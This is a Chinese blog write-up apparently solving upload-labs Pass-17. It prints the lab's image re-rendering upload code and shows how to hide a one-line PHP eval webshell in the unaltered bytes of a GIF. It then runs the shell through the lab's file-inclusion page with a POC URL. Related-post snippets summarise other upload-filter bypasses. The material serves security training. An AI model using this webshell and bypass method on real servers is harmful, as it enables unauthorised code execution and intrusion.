【网络安全】upload-labs Pass-17 解题详析

文件上传漏洞——upload-labs靶场安装和通关记录17关 前言:之前在DVWA靶场上了解了upload文件上传漏洞,并进行了学习,现在来安装upload-labs来打一下靶场。 本文目录搭建靶场开始闯关Pass-01Pass-02Pass-03黑名单验证Pass-04黑名单 搭建靶场 phpstudy集成环境。 upload-labs项目地址upload-labs,下载压缩包解压到本地phpstudy的www文件夹下,将文件夹命名为upload-labs... 阅读详情

【精选优质专栏推荐】


每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。

文章目录

Antsword蚁剑

蚁剑工具的使用可参考:

【网络安全】AntSword(蚁剑)实战解题详析(入门)

【网络安全】DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集

正文

后端逻辑代码:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
?>

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传<code>图片马</code>到服务器。</p>
            <p>注意:</p>
            <p>1.保证上传后的图片马中仍然包含完整的<code>一句话</code>或<code>webshell</code>代码。</p>
            <p>2.使用<a href="<?php echo INC_VUL_PATH;?>" target="_bank">文件包含漏洞</a>能运行图片马中的恶意代码。</p>
            <p>3.图片马要<code>.jpg</code>,<code>.png</code>,<code>.gif</code>三种后缀都上传成功才算过关!</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
        </li>
        <?php 
            if($_GET['action'] == "show_code"){
                include 'show_code.php';
            }
        ?>
    </ol>
</div>

<?php
include '../footer.php';
?>

imagecreatefrompng是PHP中的一个函数,用于创建一个新的图像资源对象,并从PNG格式的图像文件中读取数据

由于二次渲染后图片中的部分数据会被修改,即(A,B,C)可能会被修改为(A,D,E),那么对于此限制,我们可以找到不被修改的A ,因为它不被过滤,因此我们将A修改为注入语句,此时语句不会被过滤,从而达到命令执行的目的。

我们先下载一个gif图像,使用Hxd编辑器可得到其图像数据:

在这里插入图片描述

HxD Hex Editor 工具的安装使用链接:HxD工具使用说明详细教程 | 优快云@秋说

接着上传该gif,得到二次渲染后的图像:

在这里插入图片描述

接着将该图像另存为8479.gif,使用Hxd编辑器查看:

在这里插入图片描述

可以看到自00000190后,数据被二次渲染,也就是说在该行之前的数据是不会被渲染的。

于是我们插入一句话木马:

<?php @eval($_REQUEST[1]);?>

在这里插入图片描述

保存修改:

在这里插入图片描述

接着重新上传该gif:

在这里插入图片描述

找到该文件路径:

在这里插入图片描述

由于靶场存在文件包含漏洞,于是我们可以利用文件包含实命令执行:

在这里插入图片描述

POC:

http://localhost/upload-labs-master/include.php?file=upload/11078.gif&1=phpinfo();

命令执行成功:

在这里插入图片描述

Upload-labs第17关 二次渲染 gif图方法 阅读详情

相关推荐

upload-labs通关(第16关-第17关)

我们接下来就可以使用蚁剑进行连接,url的构造和前面的一样,但我这无论怎么弄都没成功连接上,看了其他大佬的wp,他们也是这样做的,能连接上,方法大概是这样了,如果有连接上的告诉我一声(对了,这里如果使用其他格式的图片会比较难弄,所以我就没弄)找到两个gif相同的地方,我们把一句话复制,然后在23917.gif中插入一句话,保存,上传23917.gif文件。然后进行比较,我们通过观察发现不同的地方,并且我们插入的一句话,在下载的gif里面已经被打乱了,没有找到。3.找到[exif]段,把下面语句的分号去掉。

qq_73985955的博客 934

制作图片马:二次渲染(upload-labs第17关)

在本关的代码中这个imagecreatefromjpeg();函数起到了将上传的图片打乱并重新组合。这就意味着在制作图片马的时候要将木马插入到图片没有被改变的部分。

m0_72286569的博客 3704

Rancher操作手册(v2.7.5-rc1)

选择需要创建ingress的命名空间 ==》填写ingress名称 ==》在“规则”一栏,选择“Prefix” ==》输入访问路径 ==》选择访问路径对应的service ==》如果需要继续添加访问路径,点击“添加路径”,重复前面的步骤即可。选择需要创建Deployment的命名空间 ==》填写Deployment名称 ==》选择通用 ==》填写容器名称 ==》填写镜像 ==》选择镜像的拉取密文 ==》点击添加端口或Service。点击左侧菜单栏的集群里的“项目/命名空间”,点击右下角的“创建命名空间”。

weixin_60197334的博客 5571

upload-labs之第十七和十八关

Pass17 打开第十七关,通过提示发现跟以前的都不一样。 看来是需要进行代码审计了,那么来看看源码吧 $is_upload = false;$msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_n.

田田云逸的博客 2646

亚马逊SP-API授权实战:从OAuth流程到Refresh Token获取

本文详细解析了亚马逊SP-API授权流程,从OAuth认证到Refresh Token获取的全过程。通过实战经验分享,帮助开发者快速掌握Marketplace Appstore、Website Workflow和自行授权三种方式,解决常见错误如MD5100和MD9999,并提供了安全存储Refresh Token的最佳实践。

weixin_30379531的博客 518

Excel药品说明书数据库:从零开始搭建医药数据查询系统(附完整模板)

本文详细介绍了如何从零开始搭建Excel药品说明书数据库,提供完整的医药数据查询系统模板。涵盖数据库架构设计、数据清洗标准化、智能查询系统搭建及维护优化,帮助医药从业者高效管理药品信息,提升查询速度和准确性。

weixin_28327051的博客 234

【网络安全】upload-labs Pass-04 解题详析

htaccess(Hypertext Access)是一个用于配置Apache服务器行为的配置文件。它通常位于网站的根目录或特定目录中,并用来控制目录下的文件访问权限、重定向、错误处理、认证等方面的设置。当服务器收到对"asdfg.jpg"文件的请求时,根据该指令,服务器会将其当作PHP脚本来处理,而不是直接将其作为静态图片返回给用户。这段代码是使用.htaccess文件的FilesMatch指令来对特定的文件进行处理。因此我们可以上传.htaccess文件,实现能够访问脚本文件、执行脚本即可。

等风来 6079

Win10安全模式下修改C盘权限的完整指南(附解决开始菜单失灵方案)

本文提供了一份在Win10安全模式下修复因C盘权限误改导致开始菜单失灵的完整指南。文章深入剖析了权限体系,特别是TrustedInstaller角色的重要性,并详细讲解了通过安全模式进入系统、使用ICACLS命令或图形界面精准重置C盘关键目录权限的步骤,最终恢复系统核心功能。

weixin_29250403的博客 234

[网络安全]upload-labs Pass-07 解题详析

接着放包、复制文件上传路径、连接蚁剑即可。

等风来 5937

AD9371实战:如何用ZCU106搭建JESD204B TX时钟链(含关键参数计算)

本文详细解析了如何基于Xilinx ZCU106开发板为AD9371搭建JESD204B TX时钟链。文章从系统需求出发,逐步推导出从IQ采样率到GTH线速率的关键参数计算公式,并提供了在Vivado中配置GTH收发器(包括QPLL选择、分频比设置)的实战步骤与调试技巧,旨在帮助硬件工程师快速实现稳定可靠的JESD204B高速数据传输链路。

weixin_29164843的博客 293

带标签的PHM2009齿轮箱数据集

PHM2009附加数据集—带标签的齿轮箱数据集,可用于测试算法

qq_39379705的博客 4874

【网络安全】upload-labs Pass-19 解题详析

本文介绍了如何通过修改myupload.php文件中的代码,利用图片码绕过文件上传限制,上传含有eval代码的GIF文件,并通过文件包含功能点实现命令执行。文章详细描述了上传过程、获取图片路径、利用文件包含功能点执行命令的步骤,并提供了POC示例。此外,文章还提到可以通过条件竞争的方式完成该任务,并提供了相关参考链接。读者可参考相关专栏和文章,进一步学习网络安全攻防实战技巧。

等风来 6171

【Unity3D开发小游戏】《打地鼠游戏》Unity开发教程

文章目录一、前言二、源码三、正文版本1、相机设置2、洞口设置3、洞口脚本4、鼹鼠5、鼹鼠动画6、鼹鼠碰撞器7、鼹鼠脚本8、击中鼹鼠的效果9、实现击中效果10、增加更多的洞口 一、前言 让我们使用Unity3D开发一个打地鼠游戏吧。 打地鼠游戏是一个非常有趣的街机游戏,是在1976年左右发明的。 游戏的主要玩法就是打击从洞里出来的鼹鼠,玩家击中鼹鼠的速度越快,得分就越高 我们将讲解制作游戏的所需的每...

优快云博客专家,Unity3D高级软件工程师,《Unity 3D从入门到实战》作者。 8461

【网络安全】upload-labs Pass-18 解题详析

作用为:fopen(“info.php”, “w”) 使用写入模式(w)打开了一个名为 info.php 的文件,然后,fputs() 函数将 <?> 写入到打开的文件中。的原理类似,我们可以在上传文件的一瞬间访问该文件,这样文件就无法被过滤及二次渲染。但利用条件竞争时,需要快速进行访问,而手工较慢,因此需要写特定的脚本进行访问或上传。可以知道,后端逻辑代码先上传文件,再进行过滤及二次渲染。说明info.php成功生成,同时该文件包含一句话木马。在点击开始攻击的一瞬间,访问目标文件路径。

等风来 6220

从零开始学习PX4源码9(部署px4源码到gitee)

由于PX4-Autopilot托管在github,在没有翻墙的情况下,下载固件无法下载。为了提高下载速度,这里将PX4在github上的仓库以及其子仓库(依赖仓库)都搬移到gitee上了。本教程讲解如何快速部署px4固件到gitee上,实现不需要翻墙快速本地就可以下载PX4固件。暂时没有找到如何批量直接通过修改.gitmodules后,使用什么命令可以直接把所有的一级二级子模块的指向直接正常映射。!!

陌城烟雨 810

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

【网络安全】upload-labs Pass-12 解题详析

00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。:定义允许上传的文件扩展名数组,只允许上传 jpg、png 和 gif 文件。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。函数从最后一个点(.)之后截取字符串,即获取文件扩展名。:检查文件扩展名是否在允许上传的扩展名数组中。:从上传的文件名中提取文件扩展名。

等风来 5965

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

【网络安全】upload-labs Pass-16 解题详析

本文介绍了如何利用Antsword蚁剑工具进行文件上传漏洞的攻防实战。文章首先提供了相关的参考链接,详细讲解了蚁剑的使用方法和实战案例。接着,文章分析了后端逻辑代码,重点介绍了exif_imagetype()函数的使用,该函数通过读取图像的第一个字节来验证文件类型。文章提示需要通过开启php_exif模块来支持该函数,并建议使用图片码绕过文件类型验证。最后,文章引用了详细的解题分析链接,供读者进一步学习参考。

等风来 6010

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

[网络安全]upload-labs Pass-05 解题详析

由代码审计可知,对于上传的文件名,先删除文件名末尾的点,然后首位去空,因此我们可构造。可知,不能使用Pass-04的解题方法进行.htaccess文件绕过。

等风来 5897

【网络安全】upload-labs Pass-13 解题详析

该题同Pass-12考察00截断,但为POST传参型。该题同Pass-12考察00截断,但为POST传参型。之后即可进行shell操作,本文不再赘述。接着将%00进行URL编码。

等风来 6008

【网络安全】upload-labs Pass-15 解题详析

使用getimagesize()函数获取图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度,并将其取出的文件类型信息$info[2]与文件后缀白名单进行对比,判断上传的文件是否合法,并将info[2]作为上传后的文件的后缀名。其它操作同Pass-14,本文不再赘述。于是我们仍可以使用图片码上传。

等风来 5886

[网络安全]upload-labs Pass-08 解题详析

接着放包、复制文件上传路径、连接蚁剑即可。本文不再赘述。

等风来 5850

[网络安全]upload-labs Pass-02 解题详析

可使用Pass-01的方法。

等风来 5822

【网络安全】upload-labs Pass-03 解题详析

故可使用其它后缀名绕过,如php3、php4、phtml。代码审计可知普通的文件名被加入黑名单。

等风来 5984

[网络安全]upload-labs Pass-06 解题详析

由于PHPStudy中apache 2.4.39连接报错,可切换为nginx 1.15.11。本关并未使用strtolower函数对文件名进行大小写过滤,故可抓包进行大小写绕过。接着打开图片链接可得到文件上传URL。将.php改为.Php。

等风来 5947

【网络安全】upload-labs Pass-14 解题详析

可知其检测了文件头信息,此时仅抓包修改文件后缀名不可绕过。将1.php与1.png合并为shell.php即可。需写出文件所在路径及期望得到的文件路径。故文件包含、传参执行命令成功。成功得到shell.png。

等风来 6277

[网络安全]upload-labs Pass-10 解题详析

函数将文件扩展名中的字符串"::$DATA"替换为空,即去除该字符串。函数获取文件名中最后一个点(.)及其后面的部分,即文件的扩展名。这段代码是用于处理上传文件的文件名和文件扩展名。函数去除文件扩展名字符串首尾可能存在的空格。:从上传的文件中获取文件名,并使用。函数,将文件名末尾的点(.)删除。函数去除首尾可能存在的空格。函数将文件扩展名转换为小写。故上传的文件后缀名为。

等风来 5803
上一篇: 【网络安全 | 进制编辑器】Hex Editor(HxD)安装使用详细教程
下一篇: 【网络安全】upload-labs Pass-18 解题详析
秋说
秋说 优质创作者: 编程框架、信息安全技术领域 优质创作者: 编程框架、信息安全技术领域
博客等级 码龄4年 3万+粉丝 1906原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值